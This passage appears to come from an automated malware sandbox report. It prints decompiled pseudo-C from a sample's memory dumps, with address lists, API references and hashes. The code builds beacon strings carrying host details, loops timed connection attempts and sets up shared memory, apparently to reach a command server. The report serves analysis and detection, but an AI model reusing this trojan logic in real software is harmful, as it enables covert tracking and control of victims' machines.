					_t212 = E02CD20EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E02CD5AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x02cd348f
0x02cd348f
0x02cd348f
0x02cd348f
0x02cd348f
0x02cd349c
0x02cd349e
0x02cd34a1
0x02cd34a4
0x02cd34a5
0x02cd34a9
0x02cd34ac
0x02cd34b2
0x02cd34ba
0x02cd34c1
0x02cd34ca
0x02cd34cb
0x02cd34cb
0x02cd34cc
0x02cd34cd
0x02cd34d0
0x02cd34da
0x02cd34dc
0x02cd34e3
0x02cd34e6
0x02cd34ec
0x02cd34f4
0x02cd34fb
0x02cd3501
0x02cd3504
0x02cd3504
0x02cd3505
0x02cd3509
0x02cd350c
0x02cd3516
0x02cd3520
0x02cd3524
0x02cd352e
0x02cd3532
0x02cd353a
0x02cd353a
0x02cd353d
0x02cd3543
0x02cd354b
0x02cd3552
0x02cd3558
0x02cd3558
0x02cd355b
0x02cd3567
0x02cd3569
0x02cd3573
0x02cd3575
0x02cd357c
0x02cd357f
0x02cd3585
0x02cd358d
0x02cd3594
0x02cd359a
0x02cd359d
0x02cd359d
0x02cd359e
0x02cd35a8
0x02cd35ab
0x02cd35ae
0x02cd35ba
0x02cd35be
0x02cd35c2
0x02cd35cc
0x02cd35cc
0x02cd35d6
0x02cd35d9
0x02cd35df
0x02cd35e7
0x02cd35ee
0x02cd35f4
0x02cd35f7
0x02cd35f7
0x02cd35f8
0x02cd35ff
0x02cd3602
0x02cd360c
0x02cd360e
0x02cd3615
0x02cd361f
0x02cd362a
0x02cd362e
0x02cd3632
0x02cd363d
0x02cd3641
0x02cd364a
0x02cd364e
0x02cd364f
0x02cd365b
0x02cd3662
0x02cd3668
0x02cd3669
0x02cd3669
0x02cd366a
0x02cd3675
0x02cd3677
0x02cd3681
0x02cd3683
0x02cd3689
0x02cd3691
0x02cd3698
0x02cd369e
0x02cd369e
0x02cd36a1
0x02cd36ac
0x02cd36ae
0x02cd36b8
0x02cd36c1
0x02cd36c2
0x02cd36c5
0x02cd36c8
0x02cd36ce
0x02cd36ce
0x02cd36d5
0x02cd36d9
0x02cd36dc
0x02cd36e4
0x02cd36e6
0x02cd36ed
0x02cd36f0
0x02cd36f1
0x02cd36f8
0x02cd36fc
0x02cd3705
0x02cd3709
0x02cd3712
0x02cd3716
0x02cd371f
0x02cd3723
0x02cd3724
0x02cd3730
0x02cd3737
0x02cd373d
0x02cd373d
0x02cd373e
0x02cd373f
0x02cd3742
0x02cd374c
0x02cd374e
0x02cd375a
0x02cd3761
0x02cd3767
0x02cd3767
0x02cd3768
0x02cd3770
0x02cd3772
0x02cd377c
0x02cd377e
0x02cd3785
0x02cd3788
0x02cd3794
0x02cd379b
0x02cd37a1
0x02cd37a2
0x02cd37a2
0x02cd37a3
0x02cd37b2
0x02cd37b4
0x02cd37be
0x02cd37c1
0x02cd37c5
0x02cd37d1
0x02cd37d4
0x02cd37de
0x02cd37e1
0x02cd37ed
0x02cd37f4
0x02cd37fa
0x02cd37fb
0x02cd37fb
0x02cd37fe
0x02cd3806
0x02cd3808
0x02cd3809
0x02cd3814
0x02cd381b
0x02cd381d
0x02cd381d
0x02cd381e
0x02cd381e
0x02cd3821
0x02cd382c
0x02cd382e
0x02cd3831
0x02cd3842
0x02cd3846
0x02cd384a
0x02cd3852
0x02cd3855
0x02cd3858
0x02cd385f
0x02cd3862
0x02cd3862
0x02cd3868
0x02cd3872
0x02cd3874
0x02cd3875
0x02cd3875
0x02cd3879
0x02cd387c
0x02cd387f
0x02cd388d
0x02cd3890
0x02cd38a1
0x02cd38ad
0x02cd38ad
0x02cd38ad
0x02cd38af
0x02cd38b9
0x02cd38bb
0x02cd38bc
0x02cd38bc
0x02cd38bc
0x02cd38c1
0x02cd38c2
0x02cd38cf
0x02cd38d7
0x02cd38de
0x02cd38e4
0x02cd38e5
0x02cd38f4
0x02cd38f6
0x02cd38fc
0x02cd38fe
0x02cd38ff
0x02cd3902
0x02cd3905
0x02cd390b
0x02cd390f
0x02cd3912
0x02cd3912
0x02cd391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 02CD3862

Strings

@, xrefs: 02CD3831

Memory Dump Source

Source File: 00000005.00000002.487584524.0000000002CD0000.00000040.00000001.sdmp, Offset: 02CD0000, based on PE: true

Associated: 00000005.00000002.487661592.0000000002CE8000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.487672140.0000000002D2D000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: d9f1decfaa58912ace4f9de6faa56edfe2d681d34fa56f66b71d416b4606ba59
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 35F15C72804204EFEB049F60C9897AEBBF5FF84715F1984ADDC88AB145DB782590CF69

Uniqueness

Uniqueness Score: -1.00%

Function 02D78B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02D78B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x2d7d018; // 0x139c7884
				asm("bswap eax");
				_t61 =  *0x2d7d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x2d7d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x2d7d00c; // 0xeec43f25
				asm("bswap eax");
				_t64 =  *0x2d7d27c; // 0x23aa5a8
				_t3 = _t64 + 0x2d7e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x2d7d02c,  *0x2d7d004, _t59);
				_t67 = E02D71C1A();
				_t68 =  *0x2d7d27c; // 0x23aa5a8
				_t4 = _t68 + 0x2d7e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E02D754BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x2d7d27c; // 0x23aa5a8
					_t7 = _t127 + 0x2d7e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x2d7d238, 0, _v8);
				}
				_t73 = E02D77649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x2d7d27c; // 0x23aa5a8
					_t11 = _t122 + 0x2d7e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x2d7d238, 0, _v8);
				}
				_t147 =  *0x2d7d32c; // 0x51295b0
				_t75 = E02D79395(0x2d7d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x2d7d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x2d7d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x2d7d238, _t153, _v20);
						goto L26;
					}
					E02D77A80(GetTickCount());
					_t82 =  *0x2d7d32c; // 0x51295b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x2d7d32c; // 0x51295b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x2d7d32c; // 0x51295b0
					_t149 = E02D78307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0x2d7d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0x2d7c2ac);
					_push(_t149);
					_t94 = E02D73CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x2d7d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E02D7809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E02D7A1B0();
						L22:
						HeapFree( *0x2d7d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E02D743DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E02D7163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E02D79039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E02D785DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E02D79039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x02d78b94
0x02d78b94
0x02d78b94
0x02d78b9f
0x02d78ba6
0x02d78ba8
0x02d78ba8
0x02d78bb5
0x02d78bc0
0x02d78bc3
0x02d78bc8
0x02d78bd1
0x02d78bd4
0x02d78bd9
0x02d78bdc
0x02d78be1
0x02d78be4
0x02d78bf0
0x02d78bfd
0x02d78bff
0x02d78c05
0x02d78c0a
0x02d78c15
0x02d78c17
0x02d78c1a
0x02d78c1c
0x02d78c23
0x02d78c29
0x02d78c2c
0x02d78c2f
0x02d78c34
0x02d78c41
0x02d78c43
0x02d78c49
0x02d78c53
0x02d78c53
0x02d78c55
0x02d78c5c
0x02d78c5f
0x02d78c62
0x02d78c67
0x02d78c74
0x02d78c76
0x02d78c84
0x02d78c84
0x02d78c86
0x02d78c94
0x02d78c99
0x02d78c9d
0x02d78ca0
0x02d78e63
0x02d78e6d
0x02d78e76
0x02d78ca6
0x02d78cb2
0x02d78cba
0x02d78cbd
0x02d78e57
0x02d78e61
0x00000000
0x02d78e61
0x02d78cc9
0x02d78cce
0x02d78cd7
0x02d78ce8
0x02d78cec
0x02d78cf5
0x02d78cfb
0x02d78d0a
0x02d78d11
0x02d78d1a
0x02d78d20
0x02d78e4b
0x02d78e55
0x00000000
0x02d78e55
0x02d78d2c
0x02d78d32
0x02d78d33
0x02d78d3a
0x02d78d3d
0x02d78e41
0x02d78e49
0x00000000
0x02d78e49
0x02d78d46
0x02d78d4d
0x02d78d55
0x02d78d5a
0x02d78d63
0x02d78d69
0x02d78d70
0x02d78d77
0x02d78d7a
0x02d78e79
0x02d78e2d
0x02d78e2d
0x02d78e32
0x02d78e3d
0x02d78e3f
0x00000000
0x02d78e3f
0x02d78d84
0x02d78d8b
0x02d78d8e
0x02d78d93
0x02d78d9e
0x02d78da3
0x02d78da6
0x02d78dac
0x02d78db2
0x02d78db8
0x02d78dbb
0x02d78dc1
0x02d78dc4
0x02d78dc9
0x02d78dcd
0x02d78dcd
0x02d78dd9
0x02d78de5
0x02d78de9
0x02d78deb
0x02d78df0
0x02d78df2
0x02d78df7
0x02d78dfc
0x02d78e09
0x02d78e11
0x02d78e14
0x02d78e14
0x02d78df0
0x00000000
0x02d78ddb
0x02d78ddf
0x02d78e16
0x02d78e19
0x02d78e22
0x00000000
0x00000000
0x00000000
0x00000000
0x02d78e22
0x02d78de1
0x00000000
0x02d78de1
0x02d78dd9

APIs

GetTickCount.KERNEL32 ref: 02D78BA8
wsprintfA.USER32 ref: 02D78BF8
wsprintfA.USER32 ref: 02D78C15
wsprintfA.USER32 ref: 02D78C41
HeapFree.KERNEL32(00000000,?), ref: 02D78C53
wsprintfA.USER32 ref: 02D78C74
HeapFree.KERNEL32(00000000,?), ref: 02D78C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02D78CB2
GetTickCount.KERNEL32 ref: 02D78CC3
RtlEnterCriticalSection.NTDLL(05129570), ref: 02D78CD7
RtlLeaveCriticalSection.NTDLL(05129570), ref: 02D78CF5

Part of subcall function 02D78307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,02D7A428,?,051295B0), ref: 02D78332
Part of subcall function 02D78307: lstrlen.KERNEL32(?,?,?,02D7A428,?,051295B0), ref: 02D7833A
Part of subcall function 02D78307: strcpy.NTDLL ref: 02D78351
Part of subcall function 02D78307: lstrcat.KERNEL32(00000000,?), ref: 02D7835C
Part of subcall function 02D78307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,02D7A428,?,051295B0), ref: 02D78379

StrTrimA.SHLWAPI(00000000,02D7C2AC,?,051295B0), ref: 02D78D2C

Part of subcall function 02D73CC8: lstrlen.KERNEL32(05129910,00000000,00000000,7742C740,02D7A453,00000000), ref: 02D73CD8
Part of subcall function 02D73CC8: lstrlen.KERNEL32(?), ref: 02D73CE0
Part of subcall function 02D73CC8: lstrcpy.KERNEL32(00000000,05129910), ref: 02D73CF4
Part of subcall function 02D73CC8: lstrcat.KERNEL32(00000000,?), ref: 02D73CFF

lstrcpy.KERNEL32(00000000,?), ref: 02D78D4D
lstrcpy.KERNEL32(?,?), ref: 02D78D55
lstrcat.KERNEL32(?,?), ref: 02D78D63
lstrcat.KERNEL32(?,00000000), ref: 02D78D69

Part of subcall function 02D7809F: lstrlen.KERNEL32(?,00000000,02D7D330,00000001,02D72200,02D7D00C,02D7D00C,00000000,00000005,00000000,00000000,?,?,?,02D796C1,02D723E9), ref: 02D780A8
Part of subcall function 02D7809F: mbstowcs.NTDLL ref: 02D780CF
Part of subcall function 02D7809F: memset.NTDLL ref: 02D780E1

wcstombs.NTDLL ref: 02D78DFC

Part of subcall function 02D7163F: SysAllocString.OLEAUT32(?), ref: 02D71680
Part of subcall function 02D7163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 02D71702
Part of subcall function 02D7163F: StrStrIW.SHLWAPI(?,006E0069), ref: 02D71741

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

HeapFree.KERNEL32(00000000,?,?), ref: 02D78E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02D78E49
RtlFreeHeap.NTDLL(00000000,?,?,051295B0), ref: 02D78E55
HeapFree.KERNEL32(00000000,?), ref: 02D78E61
RtlFreeHeap.NTDLL(00000000,?), ref: 02D78E6D

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 6f5569f34a4d47730b2c90af1cac2ea862dc142a8bacc03ac8a1e8904eba64e4
Instruction ID: 49929d3cc41165d5e2c9c29347d878025c15c83fe4f6005e2024055b1ce368ed
Opcode Fuzzy Hash: 6f5569f34a4d47730b2c90af1cac2ea862dc142a8bacc03ac8a1e8904eba64e4
Instruction Fuzzy Hash: BD913B71940208AFDB11DFA4DC88A9E7BBAEF48354F144855F808D7360EB39DD65EB60

Uniqueness

Uniqueness Score: -1.00%

Function 02D76786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E02D76786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x2d7d240);
					_v20 = 0;
					_v16 = 0;
					L02D7B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x2d7d26c; // 0x2e4
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x2d7d24c = 5;
						} else {
							_t68 = E02D773FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x2d7d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E02D78504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E02D73BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x2d7d244);
							goto L21;
						} else {
							__eflags =  *0x2d7d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E02D7A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x2d7d248);
								L21:
								L02D7B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x2d7d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x02d76786
0x02d76798
0x02d7679b
0x02d767a7
0x02d767af
0x02d767b2
0x02d76919
0x02d767b8
0x02d767b8
0x02d767ba
0x02d767bf
0x02d767c0
0x02d767c6
0x02d767c9
0x02d767cc
0x02d767da
0x02d767e5
0x02d767e8
0x02d767ea
0x02d767f7
0x02d76801
0x02d76805
0x02d76808
0x02d7680d
0x02d76818
0x02d76818
0x02d7680f
0x02d7680f
0x02d76816
0x00000000
0x00000000
0x02d76816
0x02d76822
0x00000000
0x02d76825
0x02d76829
0x02d76834
0x02d76834
0x02d7683b
0x02d76844
0x02d7684b
0x02d76854
0x02d76857
0x02d7685a
0x02d76861
0x02d76864
0x00000000
0x00000000
0x02d76866
0x02d76869
0x02d7686c
0x02d7686f
0x00000000
0x02d76871
0x02d76880
0x02d76880
0x00000000
0x02d768ae
0x02d768ae
0x02d768b3
0x02d768d2
0x02d768d4
0x02d768d9
0x02d768da
0x00000000
0x02d768b5
0x02d768b5
0x02d768bb
0x00000000
0x02d768bd
0x02d768bd
0x02d768c2
0x02d768c4
0x02d768c9
0x02d768ca
0x02d768e0
0x02d768e0
0x02d768e8
0x02d768f3
0x02d768f6
0x02d76901
0x02d76903
0x02d76905
0x02d76908
0x00000000
0x02d7690e
0x00000000
0x02d7690e
0x02d76908
0x02d768bb
0x00000000
0x02d768b3
0x02d76883
0x02d76885
0x02d76888
0x02d76889
0x02d76889
0x02d7688d
0x02d76897
0x02d76897
0x02d7689d
0x02d768a0
0x02d768a0
0x02d768a6
0x02d768a6
0x02d76923
0x00000000

APIs

memset.NTDLL ref: 02D7679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 02D767A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 02D767CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 02D767E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02D76801
HeapFree.KERNEL32(00000000,00000000), ref: 02D76897
CloseHandle.KERNEL32(?), ref: 02D768A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 02D768E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,02D72417,?), ref: 02D768F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02D76901

Part of subcall function 02D773FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05129388,00000000,?,74B5F710,00000000,74B5F730), ref: 02D7744C
Part of subcall function 02D773FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,051293C0,?,00000000,30314549,00000014,004F0053,0512937C), ref: 02D774E9
Part of subcall function 02D773FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02D76814), ref: 02D774FB

GetLastError.KERNEL32 ref: 02D76913

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 48048804bb244f3ab3e306164d6aa96bfd8a79292b4f785c43c86adc7af80ce7
Instruction ID: d8ecfa85ba44054c746cef35d71deac20962b31b030cd0c04dc815740dc36117
Opcode Fuzzy Hash: 48048804bb244f3ab3e306164d6aa96bfd8a79292b4f785c43c86adc7af80ce7
Instruction Fuzzy Hash: 88511871801229AADF109F95DC44AEEBFBDEF49324F204616E810A2290F7789E55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D71B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02D71B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L02D7B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x2d7d27c; // 0x23aa5a8
				_t5 = _t13 + 0x2d7e862; // 0x5128e0a
				_t6 = _t13 + 0x2d7e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L02D7AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x2d7d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x02d71b2f
0x02d71b37
0x02d71b3b
0x02d71b41
0x02d71b46
0x02d71b4b
0x02d71b4e
0x02d71b51
0x02d71b56
0x02d71b57
0x02d71b5a
0x02d71b5f
0x02d71b66
0x02d71b70
0x02d71b72
0x02d71b73
0x02d71b76
0x02d71b92
0x02d71b98
0x02d71b9c
0x02d71bea
0x02d71b9e
0x02d71bab
0x02d71bbb
0x02d71bc3
0x02d71bd5
0x02d71bd9
0x00000000
0x00000000
0x02d71bc5
0x02d71bc8
0x02d71bcd
0x02d71bcf
0x02d71bcf
0x02d71bad
0x02d71baf
0x02d71bdb
0x02d71bdc
0x02d71bdc
0x02d71bab
0x02d71bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,02D722EA,?,?,4D283A53,?,?), ref: 02D71B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02D71B51
_snwprintf.NTDLL ref: 02D71B76
CreateFileMappingW.KERNELBASE(000000FF,02D7D2A8,00000004,00000000,00001000,?), ref: 02D71B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,02D722EA,?,?,4D283A53), ref: 02D71BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 02D71BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,02D722EA,?,?), ref: 02D71BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,02D722EA,?,?,4D283A53), ref: 02D71BE4

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 7955d9dde6698651070ce6e5a512ec937bffb1f3d90bb6fff3ef1f0496a07750
Instruction ID: 5c1a8b157d2fec923732c308196eb771dd38a27020aaf10a43396d67d496ae0e
Opcode Fuzzy Hash: 7955d9dde6698651070ce6e5a512ec937bffb1f3d90bb6fff3ef1f0496a07750
Instruction Fuzzy Hash: 7821D172A40204BFD7219BA8CC05F8A37A9AB45710F214266F609E6380F778DE09CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D7269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E02D7269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x2d7d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E02D76B43( &_v12, _t64);
